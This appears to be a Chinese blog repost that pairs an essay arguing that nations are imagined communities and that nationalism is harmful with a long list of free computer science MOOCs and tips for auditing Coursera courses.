你可以看到一个非常特殊的民粹主义民族主义宏大景观 —— 土耳其的 Erdoğan、巴西的 Bolsonaro、菲律宾的 Duterte、委内瑞拉的 Maduro、印度的 Modi、匈牙利的 Orbán、美国的特朗普、中国的习近平、俄罗斯的普京，等等。

永远是同样的咆哮和虚张声势，同样的谈论恢复所谓的昔日荣耀。但某些观察人士认为，第一印象可能会产生误导。

在所有的噪音和作秀中，这些观察者们都看到了国家的死亡之痛。

散文家 Rana Dasgupta 认为，“大男子主义的吸引力在当前是一种政治风格，巨型边界墙建筑和仇外心理、神话和种族理论、所谓的中华民族伟大复兴的幻想承诺 —— 这些不是治疗方案，它们就是症状本身。”

不止上述这些，同样的事发生在每一个国家，因为“今天的所有国家都嵌入在同一个体系中，这使得所有国家都承受着同样的压力：正是这些东西正在挤压和扭曲各地的政治生活。”

「图」

「图」

想象中的社区

无论这是否真实，国家的消亡都是应该被鼓励的。

主导政治语话的民族身份只是集体幻想：虚无缥缈 —— 就如历史学家 Benedict Anderson 创造的令人难忘的短语，“近代历史的萎缩想象”。

人们称之为民族国家体系的政治安排于1648年在威斯特伐利亚和约中启动，显然，该政治体系的哲学基础并不长。

它的基础是我们的世界被分为人民的基本单位—这是一个危险的错误。

Anderson 在他著名的“想象中的社区”一书中探讨了这个错误的根源，并在早期的资本主义中找到了这些根源。

十六世纪的欧洲包含了许多不同的人，法国人、英国人和德国人，在任何特定地区进行大规模交流都是不可能的。当时的书籍用拉丁语等古老的语言印刷，只对精英有意义。

但是企业家们认为，如果广泛的理解是可能的，那么他们就能获得巨大的利润，因此，他们开始以印刷语言出版书籍和报纸，这些印刷品汇集了相关的俗语。

这些新的印刷语言有助于创造 Anderson 所描述的“单一语言通俗阅读的公众”。

读者们逐渐意识到“想象中的社区”的存在 —— 不相识的数百万人讲着同一种语言 —— 一个国家诞生了。

然而，这不可能是整个故事。Anderson 自己的例子清楚地表明，并非所有国家都通过语言联系在一起。

以印度尼西亚为例：“苏门答腊东海岸的人民不仅身处近海，横跨马六甲狭窄的海峡，而且还与马来半岛西部沿海地区的人口密切相关，但他们是种族相关的，了解彼此的言论、有一个共同宗教，等等。

这些相同的苏门答腊岛与位于数千英里以外的岛屿上的安汶人没有母语、种族或宗教信仰的相关性。然而……他们已经认识到，安汶人是

印尼人，马来人是外国人。”

Anderson 确认国家的出现在十五和十六世纪，这是正确的，但是，对于关键的连接因素的判断却是错误的。

如果不是语言让一大群人成为了一个国家，那么究竟是什么原因？

答案不可能是政治，因为民族国家体系的政治现实实际上只是一个已经存在的想法的编纂 —— 它只是一个建立在某种基础上的建构。

那么那个基础是什么？

「图」

「图」

以历史为基础？

有人说这一基础是历史。这些人认为国家是延续同一悠久历史的实体。他们想象了史诗般共享历史的画卷，它将人们与时间联系起来，将二十一世纪民族国家的公民与生活在古代世界的个人联系起来。

中国经常使用这些术语来描述自己 —— 我们总是能听到中国数千年历史中历代王朝的故事。

今天的共产党似乎永远不会对此闭嘴。然而，仔细研究你能发现，它揭示了不同的情况。

这些所谓的中国古代帝国是由在不同时期掌权的人组成的，无论他们来自哪里；元朝是由忽必烈汗在十三世纪建立的，而清朝则是由十七世纪的满族氏族爱新觉罗（Aisin Gioro）创立的。每个帝国都是截然不同的，每当君权改变时，边界就会发生变化。

在公元1000年，“中国”实际上是宋朝；在公元1500年，“中国”实际上是明朝 —— 一个与宋完全不同的实体，不论你用任何衡量标准，这都是一个不同的国家。

历史学家在整个千年中保持着谨慎记录的传统，这便创造了一个“持续的中国”的幻觉（一定程度上是由语言连续性支撑的错觉）。

但是，就这些古代历史学家而言，他们记录的是世界历史，而不是*一个国家*的历史。它们都不叫“中国”。

📖推荐一本书，关于国家主义如何成为一种持续塑造当今中国的霸权话语《After Empire: The Conceptual Transformation of the Chinese State, 1885–1924》

在二十世纪，最后一个朝代结束了，并且人们决定需要一个民族身份才能赶上世界其他地方。

“中国”的名字笨拙地依附于许多不同帝国的悠久历史，这些帝国具有不同的身份和边界。今天，一百年过去了，那些旧的边界问题仍然没有得到解决。

共产党声称台湾和西藏实际上是中国的省份，中国公民在学校里受到的教育就是这样，就好像这是一个普遍公认的事实。

但是大多数生活在台湾和西藏的人对这件事的看法截然不同。

所以看来，在这段时间之后，我们仍然不能就谁是中国人和谁不是中国人达成一致，仍然无法就中国的边界达成一致。

「图」

「图」

以地理为基础？

其他人则认为地理是决定因素。这也经不起考证。

例如，历史学家费尔南德·布罗代尔（Fernand Braudel）将印度描述为“从未形成一个整体的地区的混合物”。

印度历史包括一长串独立且往往不相关的朝代、王国、公国和苏丹国，在次大陆的各个地方兴衰。

印度这个名字描述了许多不同的东西—有时它只是一小部分聚集在印度河上游盆地周围的城市和村庄，但有时它可以向东南方蔓延到现代缅甸，并且在其界内包含巨大的巴克特里亚帝国蔓延到现代阿富汗。

1858年之后，英国统治者统治了印度次大陆，但这持续了不到一百年，直到分区。

当然，印度民族主义者现在声称拥有5000年的历史，但实际上这是大量地理上不同的实体的历史集合。

边界的历史通常只是军事入侵和征地的历史。任何群体都有权永久管理领土的主张必须基于这样的假设，即 有一个主要的占领时刻 —— 特定的入侵或迁移或政治吸收永久地决定了土地的合法所有者。

任何后来的入侵或迁移都必须予以忽视。

这显然是荒谬的：不能对首次占领做出公正的判断，土地最终会被更强大的力量所统治。

📖对国家神话的捍卫不仅存在于其响应人群中，也存在于同谋学者之中。推荐一本书《The Myth of Nations: The Medieval Origins of Europe》摒弃了关于欧洲国家如何诞生的民族主义神话。论述非常清晰，很有说服力。

「图」

「图」

以生物学为基础？

有些人认为国家起源于民族，因此可以被认为是生物现实，但如果你试图跟随这种逻辑分析下去，很快就会遇到问题。

现在居住在英格兰并且将自己视为英国人的人群中有很大一部分实际上是日耳曼部落的后裔，他们在公元五世纪入侵不列颠群岛。

当然，考虑到最近英格兰和德国之间的历史性竞争，今天英国的大多数民族主义者都不会欢迎英国人是日耳曼人后裔的说法。

但是，如果深入研究我们集体历史的阴暗深处就能发现这些麻烦的事实。

这是因为人类不会保持静止：他们四处移动；他们互相侵略和彼此取代，随时随地传宗接代。结果是，遗传祖先无可救药地混淆了。

今天，你可以使用你的唾液在实验室中获得DNA分析，当你得到结果时，可能会兴奋地在 Facebook 上宣布你是25%的英国人、10%的法国人……等等。但测试结果显示的只是你的一些祖先在遥远过去的某个地点生活过。

这些测试捕捉到的是人类迁徙和混乱的巨大而复杂的历史中一个短暂时刻的快照 —— 这一时刻非常重要，因为我们碰巧有那个时刻的参

考数据库，而不是所有无数其他时刻。

因此，使用现有技术真正能做到的只是告诉一个人他们与西欧的一些人或过去随机点的美洲人有遗传联系等等。此外没有更具体的东西了。

伦敦大学学院网站的“分子与文化进化”页面解释说，“测试公司通常会为遗传聚类分配国家标签，而基因差异频率往往会跨越国界平稳变化。因此，法国人可能被分配了很大比例的“英国”血统。Normandy 和 Kent 在遗传上是相似的，正如你对历史和地理的期望一样，因此单凭 DNA 不容易区分英国人还是法国人。”

在我看来，这种区分不是*不容易*而是*不可能*。最终，将某人描述为西欧或美洲原住民是一种极端过度的简化；但是，将一个人描述为英国人或者法国人，则完全是脱离科学领域的，进入了幻想领域。

正如我们在印度尼西亚的例子中看到的那样，这些民族幻想经常会跨越现有的种族边界线。

尼日利亚是大英帝国的梦想，他们将居住在尼日尔河附近的各民族合并，并将其归类为两个帝国的保护地。然后将这些保护地组合在一起，此时，豪萨、伊博、约鲁巴、江户和其他许多不同的人群，惊讶地发现，他们现在都是尼日利亚人了。

当然，这些愤世嫉俗的起源很快就被遗忘了，而现在，尼日利亚民族主义者正感受着与近代历史上的帝国谎言的深刻联系。

「图」

「图」

幻想的问题

如上所述，*国家*并没有因语言、历史、地理或生物学的联系而形成，但是，它们确实有一个一致的因素：共同的信念。

你可能认为这就足够了。如果这些人造群体的成员在自己的身份上投入了大量的情感，那么这种情感投资也许会带来实质的身份认同。

Anderson 痛苦地指出，他使用“想象”这个词指的只是 “即使是最小的国家的成员，也永远不会知道他们的大多数同伴、也不会遇到那些同伴，甚至不会听说他们，但在每个人的心中都有一个他们共融的形

象。”

他认为，在这个意义上想象一下，不应该是假的。但是他错了 —— 我们理解到这些“想象中的社区”是错误的这绝对至关重要：想象这个词是负面意义的，因为它是对现实世界的歪曲。

这种歪曲完全具有破坏性。

作为这些想象中的社区的自愿成员，我们将自己置身于皇帝和贵族无处不在的闲散想法以及他们的现代等同物上。

我们把那些与我们没有什么不同的人描述成竞争对手和敌人，在毫无意义的战争中为了空洞的原因而战斗和死亡。

在我们温顺地接受权威人士传递给我们的身份符号时，一些东西被植入进来了 —— 奴隶般的，几乎是自虐的。

“我们创造了意大利，” 政治家 Massimo d’Azeglio 在新成立的意大利王国议会第一次会议上说道，“现在我们必须创造意大利人。”

这种玩世不恭的态度恰好隐藏在所有民族身份的表面之下，它完全破坏了我们通过情感投资赋予身份的任何合法性。

📖如果您对全球政治和民族主义感兴趣，推荐这本书《Nations and Nationalism Since 1780》。

「图」

「图」

在2016年的纪录片“洪水前”中，演员莱昂纳多·迪卡普里奥坐下来与德里科学环境中心的 Sunita Narain 谈论化石燃料的消耗问题。他们的谈话简要介绍了国家身份为解决人为气候变化等全球性危机所带来的困难。

“如果你在过去创造了这个问题，我们将在未来创造它，”Narain 告诉迪卡普里奥，“我真的很希望美国走向太阳能，但你还没有。”……“抱歉我直说了，我知道你是美国人……但是你们的消费习惯真的会给这个星球带来一个漏洞……你们是一个石化上瘾的国家。”

这样的谈话几乎没有用，因为这一慢性危害性问题本身超越了“你

们”和“我们”。

对话完全受到民族认同的杂草和荆棘的阻碍。即使人们真的是在寻找共同问题的解决方案，他们也无法隐藏自己的*国家*骄傲，更不会“无意义地”分担责任。

在一个需要全球共同寻找解决方案的全球性威胁问题上，这种态度将是致命的。

我最近和一个（英国）人进行了热烈的交谈，他大声坚称西方政府一直是世界上最残暴的政府。当他开始称赞中国共产党时，我觉得有必要抗议了。

我开始列出从毛泽东到习近平犯下的各种对中国公民的暴行，但他并不感兴趣。相反，他想知道是什么让“我们—西方人”有权批评“他们—东方人”。

这个人早些时候曾说过，他非常强烈地相信个人主权的概念，我同意他的意见，但当主题转向中国时，他似乎突然对国家主权更感兴趣了。

他心爱的个人主权并不适用于生活在世界另一端（东方）的个人。这只是我们对*国家*存在的信念所引导出的陷阱之一。

我们的道德感受到了极大的 —— 也许是非自然的限制：我们不再关心属于不同“想象社区”的人类困境，尽管这些人类与我们基本相同。

「图」

「图」

国家的遗产

我们对民族认同的信念是危险的。

国家形成需要经常通过武力同化或排斥任意边界以外的国家。

它为生活在新界限内的许多少数民族带来了灾难，正如你看到过的，在第一次世界大战后被解体的奥匈帝国形成的国家中反犹主义的兴起。

在帝国主义者到来之前就存在同样的偏见，但在帝国时代它已经被有

效地压制了。一旦这些国家获得独立，旧的丑陋再次浮出水面。我们在第二次世界大战后看到了同样的事，东南亚国家的反华情绪、东非国家的反印度情绪、以及西非国家的反黎巴嫩情绪；在二十世纪晚些时候出现的则是以前属于苏联和南斯拉夫领土上的种族暴力。

📖为此推荐一本书《Race And Culture: A World View》这本书很全面，包含了全球十多年的研究成果，表明文化资本对少数民族、民族和文明的社会和经济命运的影响远大于政治、偏见或遗传。

民族主义是二十世纪巴尔干地区种族清洗的根源之一，也是德国魏玛纳粹主义兴起的根源之一。

在最近几十年的东欧，它一直阻碍着法治、自由市场经济、以及民主的兴起。

今天，在这个拥挤的、互联的二十一世纪，我们都成为了近邻，这一问题比以往任何时候都面临着更大的威胁。

只要我们还抱持着“国家”的幻想，我们就会继续遭受民族主义的噩梦。如果我们想要和平与进步，我们就必须首先消除这一幻想。

**这篇文章摘自 *Aaron Sarin* 即将出版的一本书，关于全球治理。是非常有意义的思考。 **

原文

650个名校免费在线课程，你马上就可以开始 - iYouPort

免费书和纪录片技术-攻击防御和反抗

大部分是英语的，也包括中文、西班牙语和俄语的内容

「图」

「图」

七年前，麻省理工学院和斯坦福大学等高校首先向公众开放了免费的在线课程。如今，全球900多家学校已经创建了数千种免费的在线课程，通常被称为 “大规模开放在线课程” 或 “ MOOC”。

本文整理了一份清单，使用的是 Class Central 的11,000多个 在线课程 的数据库，从中选出了650个计算机科学类的免费在线课程，并列出了每门课程的平均评分。您可以选择自己喜欢的东西，马上开始。

本文根据难易程度将这些课程分为以下三类：

- 初学者
- 中等
- 高级

首次提供的课程标记为[NEW]。

先介绍一下如何免费注册 Coursera 课程

Coursera 是一家在线教育提供商，它的资源非常丰富，提供来自世界各地顶级大学的在线课程，即 “ MOOC”。

目前，Coursera 有来自全球29个国家的150个此类大学的合作伙伴。包括斯坦福大学，杜克大学，宾夕法尼亚大学，普林斯顿大学，密歇根州大学，北京大学和巴黎高等商学院 等等。Coursera 还开始与 IBM、Google 和 PwC 等公司合作，这些公司正在 Coursera 的平台上

启动在线课程。

证书在 Coursera 的早期是免费的。遗憾的是您现在无法获得免费的 Coursera 课程证书。各个 MOOC 提供商都已停止 提供免费证书。也就是说，您可以免费学习，但如果您想获得证书，则需要付费。

Coursera 有两种不同的获利模型，供用户购买课程的非免费部分。

第一个是简单的模式：为各个课程购买证书。在这种情况下，单击 “注册” 后，您将看到两个选项，其中一个选项（“完整课程，无证书”）使您可以免费注册（如下所示）。

「图」

「图」

有些课程可能没有 “完整课程” 选项，在这种情况下，第二个选项就是 “audit”。选择 “audit”，然后单击 “继续” 以免费注册。

「图」

「图」

第二种获利方法是基于月度订阅的模式。通过支付 每月39美元起的费用您就可以使用 Specalization 中所有课程的高级功能。

登录 Coursera 并在 “专业” 课程的页面上您将看到蓝色的 “注册” 按钮，周围是绿色背景。上方会显示 “免费试用” 字样。注意：此按钮仅向登录 Coursera 的用户显示。

单击“注册”后，您应该会看到一个弹出窗口，提示您注册免费试用版（如下所示）。在此窗口的右下角您将看到一个小的 “audit” 链接。单击该链接免费注册课程。

「图」

「图」

好啦，接下来就是免费课程列表，分为三部分列出。

初学者（154个）

- An Introduction to Interactive Programming in Python (Part 1) from *Rice University* ★★★★★(2909)
- Introduction to Computer Science and Programming Using Python from *Massachusetts Institute of Technology* ★★★★★(99)
- Learn to Program: The Fundamentals from *University of Toronto* ★★★★★(86)
- Intro to Computer Science from *University of Virginia* ★★★★☆(61)
- CS50's Introduction to Computer Science from *Harvard University* ★★★★★(53)
- Ruby on Rails: An Introduction from *Johns Hopkins University* ★★★☆☆(50)
- Introduction to HTML5 from *University of Michigan* ★★★★☆(37)
- Internet History, Technology, and Security from *University of Michigan* ★★★★★(35)
- Introduction to Linux from *Linux Foundation* ★★★★☆(34)
- How to Use Git and GitHub
- Intro to HTML and CSS
- Introduction to VBA/Excel Programming from *Cal Poly Pomona* ★★★★☆(21)
- Build a Modern Computer from First Principles: From Nand to Tetris (Project-Centered Course) from *Hebrew University of Jerusalem* ★★★★★(14)
- Programming Basics from *Indian Institute of Technology Bombay* ★★☆☆☆(13)
- Computer Science 101 from *Stanford University* ★★★★☆(11)
- Introduction to CSS3 from *University of Michigan* ★★★★★(11)
- Creative Programming for Digital Media & Mobile Apps from *University of London International Programmes* ★★★★☆(10)
- HTML5 Coding Essentials and Best Practices from *World Wide Web Consortium (W3C)* ★★★★☆(9)
- Introduction to Computer Networking from *Stanford University* ★★★★★(8)
- Introduction to the Internet of Things and Embedded Systems from *University of California, Irvine* ★★★★☆(8)

- Usable Security from *University of Maryland, College Park* ★★★☆☆(8)
- Introduction to Bootstrap—A Tutorial from *Microsoft* ★★★☆☆(8)
- Code Yourself! An Introduction to Programming from *University of Edinburgh* ★★★★☆(7)
- HTML, CSS, and Javascript for Web Developers from *Johns Hopkins University* ★★★★★(6)
- Learn to Program: Crafting Quality Code from *University of Toronto* ★★★★★(6)
- Intro to Relational Databases
- Paradigms of Computer Programming—Abstraction and Concurrency from *Université catholique de Louvain* ★★★★☆(4)
- Paradigms of Computer Programming—Fundamentals from *Université catholique de Louvain* ★★★★★(4)
- Introduction to jQuery from *Microsoft* ★★★★☆(4)
- Programming in Scratch from *Harvey Mudd College* ★★★★★(4)
- How To Create a Website in a Weekend! (Project-Centered Course) from *State University of New York* ★★★★★(3)
- Introduction to Programming for the Visual Arts with p5.js from *University of California, Los Angeles* ★★★★☆(3)
- HTML5 and CSS Fundamentals from *World Wide Web Consortium (W3C)* ★★★★☆(3)
- Linux Command Line Basics
- The Beauty and Joy of Computing—AP® CS Principles Part 1 from *University of California, Berkeley* ★★★★★(2)
- Object-Oriented Programming from *Indian Institute of Technology Bombay* ★★★★☆(2)
- The Computing Technology Inside Your Smartphone from *Cornell University* ★★★★★(2)
- Introduction to HTML and JavaScript from *Microsoft* ★★★★★(2)
- Think. Create. Code from *University of Adelaide* ★★★★★(2)
- CS For All: Introduction to Computer Science and Python Programming from *Harvey Mudd College* ★★★★★(2)
- Networks: Friends, Money, and Bytes from *Princeton University* ★★★☆☆(1)
- Programando con Java para aplicaciones Android from

Universidad Nacional Autónoma de México ★★★★★(1)
- Android Basics: Make Your First App from *Google* ★★★★★(1)
- Computing: Art, Magic, Science from *ETH Zurich* ★★★★☆(1)
- MyCS: Computer Science for Beginners from *Harvey Mudd College* ★★★☆☆(1)
- CS50's Computer Science for Business Professionals from *Harvard University*
- CS50's Mobile App Development with React Native from *Harvard University*
- CS50's Web Programming with Python and JavaScript from *Harvard University*
- CS50's Understanding Technology from *Harvard University*
- CS50's Introduction to Game Development from *Harvard University*
- Principles of Computing from *Stanford University*
- Hacker Tools from *Massachusetts Institute of Technology*
- The Beauty and Joy of Computing—AP® CS Principles Part 2 from *University of California, Berkeley*
- Computational Thinking for Problem Solving from *University of Pennsylvania*
- The Unix Workbench from *Johns Hopkins University*
- Introduction to Structured Query Language (SQL) from *University of Michigan*
- JavaScript, jQuery, and JSON from *University of Michigan*
- Building Database Applications in PHP from *University of Michigan*
- Interacting with the System and Managing Memory from *Duke University*
- Programming Fundamentals from *Duke University*
- Computer Science: Programming with a Purpose from *Princeton University*
- Introduction to Computing using Python from *Georgia Institute of Technology*
- Introduction to Cybersecurity from *University of Washington*
- Python Programming Essentials from *Rice University*
- Building Interactive 3D Characters and Social VR from *University of London International Programmes*
- Introduction to Virtual Reality from *University of London*

International Programmes

- Introduction to Computer Programming from *University of London International Programmes*
- How Computers Work from *University of London International Programmes*
- Software Engineering: Introduction from *The University of British Columbia*
- How to Code: Simple Data from *The University of British Columbia*
- Introduction to Web Development from *University of California, Davis*
- Введение в базы данных from *St. Petersburg State Polytechnic University*
- Web Development and Design using WordPress from *California Institute of the Arts*
- Web Design: Strategy and Information Architecture from *California Institute of the Arts*
- Cyber Security Economics from *Delft University of Technology*
- Scratch: Programmeren voor kinderen (8+) from *Delft University of Technology*
- Excel/VBA for Creative Problem Solving, Part 3 (Projects) from *University of Colorado Boulder*
- Тонкости верстки from *Moscow Institute of Physics and Technology*
- Основы проектирования приложений интернета вещей from *Moscow Institute of Physics and Technology*
- Web Coding Fundamentals: HTML, CSS and Javascript from *National University of Singapore*
- Android App Development for Beginners from *Galileo University*
- Monetize your Android Applications from *Galileo University*
- Java Fundamentals for Android Development from *Galileo University*
- AP Computer Science A: Java Programming Classes and Objects from *Purdue University*
- AP Computer Science A: Java Programming Loops and Data Structures from *Purdue University*
- AP Computer Science A: Java Programming Polymorphism and Advanced Data Structures from *Purdue University*
- Deep Learning for Business from *Yonsei University*

- Introduction to TCP/IP from *Yonsei University*
- Cyber Security Basics: A Hands-on Approach from *Universidad Carlos iii de Madrid*
- Problem Solving, Programming, and Video Games from *University of Alberta*
- Introduzione a LaTeX from *University of Modena and Reggio Emilia*
- Blockchain 360: A State of the Art for Professionals from *EIT Digital*
- Technical Support Fundamentals from *Google*
- Web Accessibility from *Google*
- Mobile Web Development from *Google*
- Object Oriented Programming in Java from *Microsoft*
- Learn to Program in Java from *Microsoft*
- Writing Professional Code from *Microsoft*
- Introduction to NodeJS from *Microsoft*
- CSS Basics from *Microsoft*
- Logic and Computational Thinking from *Microsoft*
- Introduction to Design Thinking from *Microsoft*
- Introduction to ReactJS from *Microsoft*
- How Entrepreneurs in Emerging Markets can master the Blockchain Technology from *University of Cape Town*
- C Programming: Advanced Data Types from *Dartmouth*
- Linux Basics: The Command Line Interface from *Dartmouth*
- C Programming: Modular Programming and Memory Management from *Dartmouth*
- C Programming: Pointers and Memory Management from *Dartmouth*
- C Programming: Getting Started from *Dartmouth*
- C Programming: Language Foundations from *Institut Mines-Télécom*
- C Programming: Using Linux Tools and Libraries from *Dartmouth*
- Proactive Computer Security from *University of Colorado System*
- TCP/IP and Advanced Topics from *University of Colorado System*
- Software Design Methods and Tools from *University of Colorado System*
- Introduction to Cybersecurity for Business from *University of*

Colorado System

- Software Design as an Abstraction from *University of Colorado System*
- Computing: Art, Magic, Science—Part II from *ETH Zurich*
- Software Design as an Element of the Software Development Lifecycle from *University of Colorado System*
- Introduction to Open Source Networking Technologies from *Linux Foundation*
- Blockchain: Understanding Its Uses and Implications from *Linux Foundation*
- Mobile Computing with App Inventor—CS Principles from *The University of Warwick*
- Introducción a la programación en C: Instrucciones de control y ficheros de texto from *Universidad Autónoma de Madrid*
- Introduction to the Internet of Things (IoT) from *Curtin University*
- Software Engineering Essentials from *Technische Universität München (Technical University of Munich)*
- Базы данных (Databases) from *Saint Petersburg State University*
- Introduction to Cyber Attacks from *New York University (NYU)*
- Cyber Attack Countermeasures from *New York University (NYU)*
- Arduino Programming, from novice to ninja from *Institut Mines-Télécom*
- Web Security Fundamentals from *KU Leuven University*
- Video Game Design and Balance from *Rochester Institute of Technology*
- Introdução à Ciência da Computação com Python Parte 2 from *Universidade de São Paulo*
- Introdução à Ciência da Computação com Python Parte 1 from *Universidade de São Paulo*
- Programación Orientada a Objetos from *MéxicoX*
- Computing Form and Shape: Python Programming with the Rhinoscript Library from *Rhode Island School of Design*
- Introduction to MongoDB from *MongoDB University*
- Diseñando páginas web con Bootstrap 4 from *Universidad Austral*
- Object-oriented Programming in Python: Create Your Own

Adventure Game from *Raspberry Pi Foundation*
- Internet Connection: How to Get Online? from *Cisco*
- Home Networking Basics from *Cisco*
- Introduction to Virtual Reality
- Swift for Beginners
- Web Applications for Everybody
- Version Control with Git from *Atlassian*
- Android for Beginners
- GitHub & Collaboration
- HTTP & Web Servers
- Version Control with Git
- Network Protocols and Architecture from *Cisco*
- Elements of AI from *University of Helsinki*
- Introduction to Cisco Networking from *Cisco*
- Basics of Network Security from *Coventry University*
- ES6—JavaScript Improved
- Data Communications and Network Services from *Cisco*
- Learn Swift Programming Syntax

中等 (362个)

- Machine Learning from *Stanford University* ★★★★★(261)
- Functional Programming Principles in Scala from *École Polytechnique Fédérale de Lausanne* ★★★★★(58)
- Algorithms, Part I from *Princeton University* ★★★★☆(48)
- Cryptography I from *Stanford University* ★★★★★(45)
- Programming Mobile Applications for Android Handheld Systems: Part 1 from *University of Maryland, College Park* ★★★★☆(38)
- CS188.1x: Artificial Intelligence from *University of California, Berkeley* ★★★★★(30)
- Principles of Computing (Part 1) from *Rice University* ★★★★★(26)
- [New] Основы программирования мобильных приложений для Android from *ITMO University*
- Software Security from *University of Maryland, College Park* ★★★★★(22)
- Algorithms, Part II from *Princeton University* ★★★★★(21)
- Responsive Website Basics: Code with HTML, CSS, and JavaScript from *University of London International Programmes*

★★★★☆(21)

- Agile Development Using Ruby on Rails—The Basics from *University of California, Berkeley* ★★★★★(19)
- Cloud Computing Concepts, Part 1 from *University of Illinois at Urbana-Champaign* ★★★☆☆(19)
- Automata Theory from *Stanford University* ★★★★☆(17)
- C++ For C Programmers, Part A from *University of California, Santa Cruz* ★★★☆☆(16)
- Principles of Computing (Part 2) from *Rice University* ★★★★☆(15)
- Programming Mobile Applications for Android Handheld Systems: Part 2 from *University of Maryland, College Park* ★★★★☆(15)
- The Nature of Code from *Processing Foundation* ★★★★★(15)
- Algorithmic Thinking (Part 1) from *Rice University* ★★★★☆(14)
- Design of Computer Programs from *Stanford University* ★★★★☆(13)
- Intro to Machine Learning from *Stanford University* ★★★★☆(12)
- Algorithmic Toolbox from *University of California, San Diego* ★★★★☆(12)
- Discrete Optimization from *University of Melbourne* ★★★★☆(12)
- Responsive Web Design from *University of London International Programmes* ★★★☆☆(11)
- Introduction to Game Development from *Michigan State University* ★★★★☆(11)
- Introduction to Functional Programming from *Delft University of Technology* ★★★★☆(11)
- Interactivity with JavaScript from *University of Michigan* ★★★★☆(10)
- Introduction to Software Product Management from *University of Alberta* ★★★★☆(10)
- Android Development for Beginners from *Google* ★★★★☆(10)
- The Arduino Platform and C Programming from *University of California, Irvine* ★★★☆☆(9)
- Algorithmic Thinking (Part 2) from *Rice University* ★★★★☆(9)

- Programming Languages from *University of Virginia* ★★★☆☆(9)
- Software Processes and Agile Practices from *University of Alberta* ★★★★☆(9)
- Image and Video Processing: From Mars to Hollywood with a Stop at the Hospital from *Duke University* ★★★★☆(8)
- Text Retrieval and Search Engines from *University of Illinois at Urbana-Champaign* ★★★☆☆(8)
- Cryptography from *University of Maryland, College Park* ★★★★☆(8)
- Advanced Styling with Responsive Design from *University of Michigan* ★★★★☆(7)
- Cloud Computing Applications, Part 1: Cloud Systems and Infrastructure from *University of Illinois at Urbana-Champaign* ★★★☆☆(7)
- Software Testing from *University of Utah* ★★★★☆(7)
- Internet of Things: How did we get here? from *University of California, San Diego* ★★☆☆☆(6)
- Introduction To Swift Programming from *University of Toronto* ★☆☆☆☆(6)
- Learning from Data (Introductory Machine Learning course) from *California Institute of Technology* ★★★★☆(6)
- Client Needs and Software Requirements from *University of Alberta* ★★★★☆(6)
- Responsive Web Design Fundamentals from *Google* ★★★★☆(6)
- Intro to AJAX
- Agile Development Using Ruby on Rails—Advanced from *University of California, Berkeley* ★★★★★(5)
- Ruby on Rails Web Services and Integration with MongoDB from *Johns Hopkins University* ★★★★★(5)
- Cloud Computing Concepts: Part 2 from *University of Illinois at Urbana-Champaign* ★★★★★(5)
- Computer Graphics from *University of California, San Diego* ★★★★☆(5)
- Data Structures and Performance from *University of California, San Diego* ★★★★★(5)
- Web Application Development with JavaScript and MongoDB from *University of London International Programmes* ★★★★☆(5)

- Introduction to Meteor.js Development from *University of London International Programmes* ★★★★★(5)
- How to Code: Systematic Program Design—Part 1 from *The University of British Columbia* ★★★★☆(5)
- Developing Android Apps from *Google* ★★★★☆(5)
- Julia Scientific Programming from *University of Cape Town* ★★★★★(5)
- Data Wrangling with MongoDB from *MongoDB University* ★★★★☆(5)
- Intro to DevOps from *Nutanix* ★★★☆☆(5)
- Intro to iOS App Development with Swift
- Parallel Programming Concepts
- Interfacing with the Arduino from *University of California, Irvine* ★★★★☆(4)
- Algorithms on Strings from *University of California, San Diego* ★★★☆☆(4)
- Computer Architecture from *Princeton University* ★★★★★(4)
- Analysis of Algorithms from *Princeton University* ★★★★★(4)
- Software Development Process from *Georgia Institute of Technology* ★★★☆☆(4)
- Computer Networking from *Georgia Institute of Technology* ★★★★☆(4)
- Cloud Networking from *University of Illinois at Urbana-Champaign* ★★★★☆(4)
- Website Performance Optimization from *Google* ★★★★☆(4)
- HTML5 Game Development from *Google* ★★★☆☆(4)
- Practical Numerical Methods with Python from *George Washington University* ★★★★☆(4)
- Database Management Essentials from *University of Colorado System* ★★★★☆(4)
- Interactive Computer Graphics from *The University of Tokyo* ★★☆☆☆(4)
- Software Debugging from *Saarland University* ★★★★★(4)
- Software Construction in Java from *Massachusetts Institute of Technology* ★★★★★(3)
- Foundations of Objective-C App Development from *University of California, Irvine* ★★★☆☆(3)
- The Raspberry Pi Platform and Python Programming for the Raspberry Pi from *University of California, Irvine* ★★★★☆(3)

- Data Structures from *University of California, San Diego* ★★★☆☆(3)
- Networks Illustrated: Principles without Calculus from *Princeton University* ★★★★☆(3)
- VLSI CAD Part I: Logic from *University of Illinois at Urbana-Champaign* ★★★★★(3)
- Internet of Things: Setting Up Your DragonBoard™ Development Platform from *University of California, San Diego* ★★★☆☆(3)
- Mastering the Software Engineering Interview from *University of California, San Diego* ★★★★☆(3)
- DevOps for Developers: How to Get Started from *Microsoft* ★★★★☆(3)
- Querying Data with Transact-SQL from *Microsoft* ★★★★☆(3)
- Autonomous Mobile Robots from *ETH Zurich* ★★★☆☆(3)
- Intro to Algorithms
- Compilers from *Stanford University* ★★★★☆(2)
- Mobile Application Experiences Part 1: From a Domain to an App Idea from *Massachusetts Institute of Technology* ★★★★★(2)
- Rails with Active Record and Action Pack from *Johns Hopkins University* ★★★★☆(2)
- Algorithms on Graphs from *University of California, San Diego* ★★★★☆(2)
- Advanced Data Structures in Java from *University of California, San Diego* ★★★★☆(2)
- Internet of Things: Communication Technologies from *University of California, San Diego* ★★★☆☆(2)
- App Design and Development for iOS from *University of Toronto* ★★★☆☆(2)
- iOS App Development Basics from *University of Toronto* ★★★★☆(2)
- Game Development for Modern Platforms from *Michigan State University* ★★★★★(2)
- Introduction to Mobile Application Development using Android from *The Hong Kong University of Science and Technology* ★★★★☆(2)
- Agile Planning for Software Products from *University of Alberta* ★★★☆☆(2)

- Browser Rendering Optimization from *Google* ★★★★☆(2)
- UX Design for Mobile Developers from *Google* ★★★★★(2)
- Developing International Software, Part 1 from *Microsoft* ★★★★☆(2)
- Analyzing and Visualizing Data with Power BI from *Microsoft* ★★★★★(2)
- Agile Software Development from *ETH Zurich* ★★★★★(2)
- Build Your First Android App (Project-Centered Course) from *École Centrale Paris* ★★★☆☆(2)
- Approximation Algorithms Part I from *École normale supérieure* ★★★★★(2)
- Configuring Linux Web Servers
- JavaScript Testing
- Full Stack Foundations
- Single Page Web Applications with AngularJS from *Johns Hopkins University* ★★★★★(1)
- Best Practices for iOS User Interface Design from *University of California, Irvine* ★★★★★(1)
- Interfacing with the Raspberry Pi from *University of California, Irvine* ★☆☆☆☆(1)
